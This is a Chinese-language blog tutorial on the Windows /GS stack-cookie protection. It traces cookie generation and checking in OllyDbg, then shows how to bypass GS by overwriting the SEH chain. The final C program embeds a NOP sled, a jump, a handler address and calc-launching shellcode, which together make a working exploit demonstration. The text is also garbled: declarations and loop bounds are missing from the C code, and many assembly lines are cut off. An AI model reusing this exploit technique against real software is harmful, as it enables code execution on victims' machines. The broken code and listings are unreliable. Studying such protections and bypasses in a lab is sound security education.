GS简介:
Windows的缓冲区安全监测机制(GS)可以有效的阻止经典的BOF攻击,因为GS会在函数调用前往函数栈帧内压入一个随机数(canary),然后等函数返回前,会对canary进行核查,判断canary是否被修改。因为canary的地址是(前栈帧EBP-4),所以如果溢出攻击想要覆盖返回地址或者异常处理句柄的话,就会路过canary。系统检测到canary被修改之后,在函数返回前就会直接终止程序,no return,no exception,so no exploit。
GS原理:
下面用一个简单的C程序来跟踪一下GS的流程,测试环境为XP SP3+VS2005(DEP OFF,SAFESEH OFF)。
C代码:
#include "stdafx.h" #include<stdio.h> #include<string.h> char name[]={0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90}; void overflow(); int main() { overflow(); printf("fuction returned"); ; } void overflow() { ]; memcpy(output, name,sizeof(name)); ;i<&&output[i];i++) printf("\\0x%x",output[i]); }
编译之后,执行直接报错,因为复制字符串时发生了溢出,覆盖了canary,程序直接退出。
用Olldbg打开,如下图:
系统默认中断在security_init_cookie函数,程序载入内存后这个函数首先运行。下面就是通过OD来查看GS机制的分析部分,分三个步骤:①计算随机种子。②canary写入栈帧。③GS校验。如果觉得看asm比较枯燥的话,就了解一下这三个步骤的大体流程就可以了。
大体流程就是:
- 程序启动时,读取.data节的第一个dword。
以这个dword为基数,通过和当前系统时间,进程ID,线程ID,性能计数器进行一系列加密运算(多次XOR)。
把加密后的种子再写入.data节的第一个dword。
函数在执行前,把加密后的种子取出,与当前esp进行异或计算,结果存入“前EBP”的前面(低地址端)。
函数主体正常执行。
函数返回前,把canary取出与esp异或计算后,调用__security_check_cookie函数进行检查,与.data节里的种子进行比较,如果校验通过则返回原函数继续执行。如果校验失败,则程序终止。
Asm代码:
① 计算随机种子。
push ebp 004016E5 |. 8BEC mov ebp, esp mov eax, dword ptr [__security_cookie] //取exe地址00403000处的第一个DWORD到eax。 F8 ], //设置局部变量为0,此处是两个DWORD,作为filetime结构体,后面用来存放获取的系统时间。 FC ], //同上。 push ebx //备份ebx,返回时恢复。 push edi //备份edi,返回时恢复。 004016F9 |. BF 4EE640BB mov edi, BB40E64E //把00403000处的第一个dword,也就是.DATA节的第一个双字赋值给edi。 004016FE |. 3BC7 cmp eax, edi //判断eax和edi是否相等。 |. BB 0000FFFF mov ebx, FFFF0000 //ebx赋值为FFFF0000。 |. //如果eax和edi相等则跳转。 |. 85C3 test ebx, eax |. 0040170B |. F7D0 not eax mov dword ptr [__security_cookie_complement], eax |. EB |> push esi //备份esi,返回时用来恢复。 |. 8D45 F8 ] //取得filetime结构体地址。 |. push eax ; //pFileTime入栈。 |. FF15 call dword ptr [<&KERNEL32.GetSystemTimeAsFileTime>] ; //调用GetSystemTimeAsFileTime获取系统时间,放入ebp-12至ebp-4共8个字节。 ] //取得系统时间的高4字节。 |. F8 ] //系统时间高4字节与低4字节进行异或,结果存入esi。 |. FF15 call dword ptr [<&KERNEL32.GetCurrentProcessId>] //调用GetCurrentProcessId取得当前进行ID,存入eax。 0040172B |. 33F0 xor esi, eax //进程ID和前面的esi进行异或,结果存入esi。 call dword ptr [<&KERNEL32.GetCurrentThreadId>] ; //获取当前线程ID,存入eax。 |. 33F0 xor esi, eax //线程ID和前面的esi进行异或,结果存入esi。 |. FF15 call dword ptr [<&KERNEL32.GetTickCount>] //获取系统启动至今的微秒数,存入eax。 0040173B |. 33F0 xor esi, eax //系统启动至今微秒数和前面的esi进行异或,结果存入esi。 ] //准备pPerformanceCount函数的参数,一个large_integer类型的结构体指针,结构体8个字节。 |. push eax // lpPerformanceCount参数入栈。 |. FF15 0C204000 call dword ptr [<&KERNEL32.QueryPerformanceCounter>] //调用性能计数器,其实还是个高精度时间戳。 |. 8B45 F4 mov eax, dword ptr [ebp-C] //把时间戳高4位赋给eax。 F0 ] //把时间戳高4位和低4位进行异或,结果存入eax。和前面GetSystemTimeAsFileTime算法一样。 0040174D |. 33F0 xor esi, eax //时间戳异或结果和esi进行异或计算,结果存入esi。 0040174F |. 3BF7 cmp esi, edi //比较esi和edi是否相同,防止出现碰撞。 |. jnz short 0040175A //不相等的话,跳转。 |. BE 4FE640BB mov esi, BB40E64F //相等的话, |. EB 0040175A |> 85F3 test ebx, esi //比较esi和ebx是否相同。 //不相同的话,加密结束,写入。 0040175E |. 8BC6 mov eax, esi |. C1E0 |. 0BF0 or esi, eax |> mov dword ptr [__security_cookie], esi //把加密后的canary放入.data区首的4个字节。 0040176B |. F7D6 not esi //密文取反。 mov dword ptr [__security_cookie_complement], esi //密文取反写入.data取的第5到第8个字节,紧挨着canary。 |. 5E pop esi //恢复环境。 |> 5F pop edi //恢复环境。 |. 5B pop ebx //恢复环境。 |. C9 leave //恢复环境。与Mov esp,ebp+pop ebp等效。 \. C3 retn //函数返回。
② Canary写入栈帧:
>/$ 83EC 0C sub esp, 0C //函数开头,开辟栈空间。 |. A1 mov eax, dword ptr [__security_cookie] //把加密后的种子赋给eax。 |. 33C4 xor eax, esp //eax和当前esp进行异或计算。 ], eax //把异或后得到的canary写入栈帧。
③ GS校验:
] //把canary赋给ecx。 |. 33CC xor ecx, esp //ecx和esp异或。 cmp ecx, dword ptr [__security_cookie] //比较ecx和.data区的加密种子是否相同。 . //不相同则校验失败,跳转失败处理分支。 . F3: prefix rep: //相同则返回原函数。 . C3 retn //相同则返回原函数。 > E9 AD020000 jmp __report_gsfailure //跳入失败处理分支,主要功能是调用UnhandledExceptionFilte,显示个程序崩溃的框框,如果不选择调试,则调用TerminateProcess结束当前进程。
GS绕过:
了解GS的保护原理之后,绕过方法就水到渠成了。既然你GS在我函数返回前就给我来个突然杀出,那我就在你GS校验函数执行之前给你来个突然杀出。如果函数在执行时,发生异常,则操作系统(NTDLL.DLL)会直接接管,然后进入异常处理过程。这样GS校验函数就没有了执行的机会。
其实不只是覆盖SEH这一种绕过方法,只要想办法在函数的security_check_cookie函数执行之前,获取EIP控制权都可以绕过,比如在函数溢出之后且函数返回之前,调用了某些函数指针,如果在溢出的时候覆盖掉这个指针,就可以绕过GS。当然还有同时覆盖.data区和canary来使security_check_cookie验证通过,不过遇到这种漏洞的概率太小了。
下面我们改一下我们的C程序,让溢出的字符串继续往下溢出,直到溢出SEH structure,并且溢出到栈顶,这样就会触发一个访问异常,于是就进入了异常处理过程,从而悄无声息的绕过了GS保护机制。(关于覆盖SEH进行溢出利用的方法请参见我的另一篇博文)。
C代码:
// GSBYPASS.cpp : 定义控制台应用程序的入口点。 #include "stdafx.h" #include<stdio.h> #include<string.h> char name[]={0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0xEB,0x06,0x90,0x90,0x10,0x12,0x40,0x00,0x8B,0xEC,0x33,0xFF,0x57,0x57,0xC6,0x45,0xFB,0x63,0xC6,0x45,0xFC,0x61,0xC6,0x45,0xFD,0x6C,0xC6,0x45,0xFE,0x63,0x8D,0x45,0xFB,0x50,0xB8,0xC7,0x93,0xBF,0x77,0xFF,0xD0,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90}; void overflow(); int main() { overflow(); printf("fuction returned"); ; } void overflow() { ]; memcpy(output, name,sizeof(name)); ;i<&&output[i];i++) printf("\\0x%x",output[i]); }
编译,运行,成功绕过: